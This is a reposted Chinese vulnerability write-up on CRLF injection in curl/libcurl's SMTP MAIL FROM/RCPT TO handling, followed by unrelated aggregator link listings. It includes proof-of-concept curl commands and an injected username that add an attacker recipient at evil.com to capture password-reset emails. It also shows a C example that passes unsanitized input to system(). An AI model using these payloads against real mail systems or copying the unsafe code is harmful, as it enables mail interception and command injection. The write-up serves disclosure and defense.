curl/libcurl SMTP CRLF注入漏洞深度分析

news/2025/11/20 20:14:28/文章来源:https://www.cnblogs.com/qife122/p/19249460

SMTP CRLF Injection in curl/libcurl via MAIL FROM/RCPT TO parameters

漏洞ID: CURL-SMTP-CRLF-2024

CWE-93: CRLF序列不当处理

执行摘要

curl/libcurl在其SMTP实现中存在CRLF注入漏洞,攻击者可通过在邮箱地址中包含CR(\r)和LF(\n)字符来注入任意SMTP命令。

受影响版本

  • curl 8.17.0(最新稳定版)- 确认存在漏洞
  • 早期版本可能受影响

概念验证

# 易受攻击的命令 - 添加未授权收件人
curl --url "smtp://localhost:2525" \--mail-from $'legit@company.com\r\nRCPT TO:<attacker@evil.com>' \--mail-rcpt "employee@company.com" \--upload-file message.txt

技术细节

漏洞代码位置: lib/smtp.c(第838-846行)

result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s", from,  // ← 无CRLF验证auth ? " AUTH=" : "", auth ? auth : "", size ? " SIZE=" : "", size ? size : "", utf8 ? " SMTPUTF8" : "");

原始网络分析证据:

HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0a
TEXT: 'MAIL FROM:<final@test.com\r\nRCPT TO:proof@evil.com>\r\n'

复现环境

  • 操作系统:Linux
  • curl版本:8.17.0
  • Python:3.11(用于测试服务器)
  • 测试方法:本地SMTP服务器分析

影响

  • 信息泄露:未授权邮件复制
  • 隐私侵犯:秘密邮件拦截
  • 访问控制绕过:规避应用级限制
  • 任意命令注入:可能进一步操纵SMTP协议

修复建议

  • 输入验证:拒绝包含控制字符的邮箱地址
  • 字符转义:正确转义CR/LF序列
  • 库补丁:实现类似于lib/cookie.c的验证

参考资料

  • CWE-93: https://cwe.mitre.org/data/definitions/93.html
  • curl安全:https://curl.se/docs/security.html

实际利用演示

步骤1:易受攻击的应用代码

// 示例:Web应用中的密码重置功能
void send_password_reset(const char *username) {char email[256];snprintf(email, sizeof(email), "%s@company.com", username);// 不安全:用户输入直接传递给curlchar command[512];snprintf(command, sizeof(command),"curl --mail-from 'noreply@company.com' ""--mail-rcpt '%s' ""--upload-file reset_email.txt",email);system(command);
}

步骤2:攻击者利用

# 攻击者注册用户名:"admin\r\nRCPT TO:<hacker@evil.com>"
# 应用构建:admin\r\nRCPT TO:<hacker@evil.com>@company.com# 生成的curl命令:
curl --mail-from 'noreply@company.com' \--mail-rcpt 'admin\r\nRCPT TO:<hacker@evil.com>@company.com' \--upload-file reset_email.txt

步骤3:SMTP会话结果

MAIL FROM:<noreply@company.com>
RCPT TO:<admin
RCPT TO:<hacker@evil.com>@company.com>  ← 注入的命令!
DATA
Subject: Password Reset
Your reset token: ABC123

影响: 攻击者接收所有用户的密码重置邮件!

技术对比

在lib/cookie.c中:

static bool invalid_octets(const char *ptr) {// 明确拒绝CR/LF以确保安全while(*ptr) {if(((*ptr != 9) && (*ptr < 0x20)) || (*ptr == 0x7f))return TRUE;  // ← 安全ptr++;}return FALSE;
}

在lib/smtp.c中:

// 无验证 - 允许CR/LF注入
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);
// ↑ 易受攻击

这种不一致性给信任curl安全处理用户输入的应用程序带来了真实的安全风险。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/971395.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年11月氨基酸水溶肥,花芽分化氨基酸水溶肥,低温酶解氨基酸水溶肥厂家最新推荐,权威测评与种植选择指南!

2025年11月氨基酸水溶肥及相关产品权威测评与选择指南在农业领域,肥料的选择至关重要,尤其是氨基酸水溶肥,在花芽分化等关键时期起着关键作用。深圳惠民皓天生态科技有限公司成立于2017年,是一家专注于“互联网 + …

2025年11月沣硕40+中微量元素水溶肥,防裂果中微量元素水溶肥,促花稳果中微量元素水溶肥厂家推荐:规模化种植适配品牌

2025年11月:沣硕40+中微量元素水溶肥助力规模化种植在农业现代化的进程中,中微量元素水溶肥对于作物的生长和品质提升起着至关重要的作用。尤其是在预防裂果、促花稳果等方面,优质的中微量元素水溶肥更是成为了规模…

4.6.4版本闪亮登场~赶快了解一下新内容吧

产品更新概览 功能修复: 修复数据页面横向滚动条显示问题; 修复全屏项目的轮播控制问题; 修复表格组件首行选中问题; 修复PDF组件读取在线文件问题; 修复菜单组件隐藏误触发交互问题; 修复时间选择器组件显示问题…

2025年11月花芽分化氨基酸水溶肥,膨果上色氨基酸水溶肥,高含量氨基酸水溶肥厂家推荐,实测促产效果与品牌解析!

2025年11月花芽分化与膨果上色:氨基酸水溶肥厂家深圳惠民皓天生态科技解析在农业种植领域,花芽分化期与膨果上色期对于作物的产量和品质至关重要。合适的氨基酸水溶肥能为作物提供关键营养,助力其茁壮成长。深圳惠民…

XMind for Mac v24.01.dmg 安装教程(Mac思维导图软件下载安装步骤)

XMind for Mac v24.01.dmg 安装教程(Mac思维导图软件下载安装步骤)​ 1. 下载文件安装包下载:https://pan.quark.cn/s/5f9d7a340ac8 ,先找到你下载的 XMind for Mac v24.01.dmg文件(通常在「下载」文件夹里)。2.…

自动类型推导、智能指针、Lambda表达式和函数包装器 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

FPGA中,“按键控制LED灯实验”学习中常见问题、解除思路和措施以及经验总结!!!(新手必看)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

RocketMQ 概念介绍 - 邓维

RocketMQ概念介绍RocketMQ 概念介绍1、消息队列使用场景介绍解耦:如果服务 A 调用服务 B 时是同步依赖,那么 B 服务压力过大可能导致整个系统链路阻塞。流量削峰填谷:高并发场景下(如电商秒杀),直接将请求打到数…

es的sql语句 有哪些限制

ES(Elasticsearch)的SQL语句虽然提供了类似于传统关系型数据库的查询功能,但仍存在一些限制。以下是一些主要的限制:语法差异:ES的SQL语法与传统的SQL有所不同,可能需要一些学习和适应。例如,ES使用SELECT语句来…

fio linux

fio(Flexible I/O Tester)是一个用于测试存储设备性能的工具,常用于评估SSD、HDD、NVMe等存储设备的读写性能。它支持多种I/O操作模式,包括随机读、随机写、顺序读、顺序写等,适用于Linux系统。一、fio 的基本用途…

find linux 文件

在 Linux 系统中,find 是一个非常强大的命令行工具,用于在文件系统中搜索文件和目录。它可以根据不同的条件(如文件名、大小、权限、时间等)来查找文件。一、基本用法find [路径] [选项] [表达式]1. 基本搜索文件f…

Docker主机网络优化咋做

Docker主机网络优化可以通过多种策略来实现,以提高容器之间的通信效率和应用性能。以下是一些有效的优化方法: 使用Host网络模式优势:容器直接使用宿主机的网络堆栈,减少网络层的开销,适合高性能场景。 注意事项:…

C语言小程序在日常生活中的应用实例

C语言小程序在日常生活中有许多实际应用,以下是一些具体的实例:家庭财务管理:可以使用C语言编写一个简单的家庭财务管理程序。该程序可以记录家庭的收入、支出、储蓄等财务信息,并提供查询、统计和分析功能。通过该…

ffmpeg for linux

ffmpeg 是一个非常强大的多媒体处理工具,广泛用于 Linux 系统上进行视频、音频的转换、剪辑、合并等操作。以下是关于 ffmpeg 的常用命令和使用场景的简要介绍,以及一些常见操作示例。? 常用 ffmpeg 命令1. 视频转换…

Docker桥接网络能实现跨主机吗

Docker的桥接网络默认情况下不能实现跨主机通信。在桥接网络模式下,每个Docker主机都会创建一个虚拟网桥,容器通过这个网桥与外部网络通信,但不同主机上的容器无法直接通信。以下是Docker桥接网络的相关信息: Dock…

fastdb c++如何优化存储结构

FastDB是一个C++数据库管理系统,为了优化存储结构,你可以考虑以下几个方面:选择合适的数据类型:FastDB支持多种数据类型,包括基本数据类型(如int、float、double等)和复杂数据类型(如字符串、二进制数据等)。…

Docker客户端支持哪些存储驱动

Docker客户端支持的存储驱动主要有以下几种:OverlayFS:这是Docker的默认存储驱动,它使用Linux的overlay文件系统来支持容器镜像的层叠。OverlayFS将容器镜像的不同层(如基础镜像、扩展镜像和容器运行时文件)合并到…

c语言实现linux命令

你提到的“C语言实现Linux命令”是指用C语言编写一个或多个Linux命令,用于执行系统任务、文件操作、进程管理等。这种做法在Linux系统中非常常见,特别是在需要定制化脚本或工具时。下面我将为你提供几个常见的Linux命…

discuz使用mysql有哪些注意事项

在使用Discuz!与MySQL数据库时,有一些注意事项需要遵守,以确保系统的稳定性和安全性。以下是一些关键点:数据库配置:确保MySQL服务器的性能和资源分配适当,以支持Discuz!的运行。 根据需要调整MySQL的配置参数,如…

discuz与mysql数据迁移怎样操作

Discuz! 与 MySQL 数据迁移的操作步骤如下:备份原数据库:登录到您的 MySQL 数据库管理界面。 选择您需要迁移数据的数据库。 使用 mysqldump 命令或其他备份工具,导出数据库的所有表结构和数据。例如:mysqldump -u…